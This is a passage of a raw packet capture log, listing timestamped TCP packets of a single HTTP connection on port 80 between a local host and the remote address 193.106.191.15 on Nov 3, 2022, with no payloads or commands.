Nov 3, 2022 12:46:55.064053059 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064063072 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.064086914 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064099073 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.064122915 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064129114 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.064158916 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064173937 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.064193010 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064194918 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.064227104 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064235926 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.064263105 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064299107 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.064299107 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064320087 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.064335108 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064337015 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.064371109 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064378023 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.064408064 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064414978 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.064443111 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064449072 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.064481974 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064483881 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.064522028 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.064522028 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064559937 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064568043 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.064595938 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064603090 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.064630985 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064636946 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.064665079 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064672947 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.064702034 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064714909 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.064738989 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064747095 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.064775944 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064784050 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.064822912 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064836025 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.064862013 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064867020 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.064903021 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064905882 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.064939976 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064949989 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.064977884 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.064981937 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065015078 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065017939 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065049887 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065062046 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065084934 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065090895 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065129042 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065134048 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065165043 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065165997 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065206051 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065207958 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065243006 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065244913 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065284014 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065284967 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065318108 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065330029 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065344095 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065361977 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065370083 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065383911 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065397978 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065409899 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065424919 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065435886 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065450907 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065474033 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065478086 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065502882 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065505981 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065526962 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065532923 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065546989 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065560102 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065567970 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065588951 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065608025 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065615892 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065643072 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065644026 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065663099 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065668106 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065687895 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065695047 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065705061 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065720081 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065741062 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065747976 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065757990 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065773964 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065793037 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065803051 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065809965 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065829992 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065840960 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065855980 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065881014 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065884113 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065908909 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065912008 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065932035 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065938950 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065953970 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065965891 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.065974951 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.065993071 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066015005 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066019058 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066046000 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066047907 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066066980 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066071033 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066085100 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066097021 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066104889 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066123009 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066142082 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066148996 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066171885 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066189051 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066209078 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066215038 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066231966 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066245079 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066252947 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066282034 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066283941 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066320896 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066323996 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066359043 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066365957 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066385984 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066404104 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066425085 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066431999 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066457033 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066461086 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066483974 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066492081 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066512108 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066521883 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066550970 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066550970 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066584110 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066587925 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066610098 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066618919 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066647053 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066648006 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066680908 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066689968 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066709042 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066724062 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066736937 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066744089 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066775084 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066777945 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066836119 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066840887 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066874027 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066900015 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066941977 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066942930 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.066981077 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.066986084 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067008972 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067019939 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067044020 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067047119 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067080021 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067085028 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067106962 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067126989 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067135096 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067145109 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067173004 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067173958 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067203999 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067213058 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067229033 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067251921 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067264080 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067279100 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067297935 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067307949 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067327023 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067346096 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067353010 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067378998 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067392111 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067400932 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067425013 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067435026 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067455053 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067473888 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067487955 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067491055 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067522049 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067529917 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067548990 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067563057 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067578077 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067590952 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067615986 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067637920 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067661047 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067677975 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067687988 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067704916 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067725897 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067728043 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067759037 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067781925 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067785025 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067814112 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067814112 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067847013 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067852020 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067869902 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067884922 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067898035 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067912102 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067920923 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067939043 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.067961931 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.067975998 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.068010092 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.068031073 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.068031073 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.068037033 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.068064928 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.068073034 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.068104982 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.068110943 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.068110943 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.068140030 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.068166018 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.068166971 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.068181992 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.068197012 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.068228960 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.068236113 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.068255901 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.068272114 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.068308115 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.068311930 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.068342924 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.068347931 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.068352938 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.068388939 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.068389893 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.068417072 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.068449020 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.069010973 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.112736940 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.112955093 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.125164032 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125197887 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125219107 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125237942 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125253916 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125268936 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125274897 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.125283957 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125298977 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125370979 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125391960 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125411987 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125430107 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125447989 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125464916 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125483036 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125500917 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125518084 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125536919 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125555038 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125572920 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125590086 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125607967 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125633001 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125650883 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125669003 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125677109 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.125688076 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125705004 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125722885 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125741005 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125757933 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125777960 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125816107 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125835896 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125854969 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125880957 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125890017 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.125905991 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125924110 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125938892 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.125942945 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125961065 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.125962019 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.125981092 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126000881 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126013994 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.126013994 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126039982 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.126091957 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126111031 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126128912 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126141071 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.126147032 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126166105 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126173973 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.126184940 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126203060 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126224041 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.126238108 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126250982 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.126312971 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126363039 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126404047 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.126446009 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126466036 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126485109 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126488924 CET	49704	80	192.168.2.6	193.106.191.15
Nov 3, 2022 12:46:55.126501083 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126521111 CET	80	49704	193.106.191.15	192.168.2.6
Nov 3, 2022 12:46:55.126532078 CET	49704	80	192.168.2.6	193.106.191.15
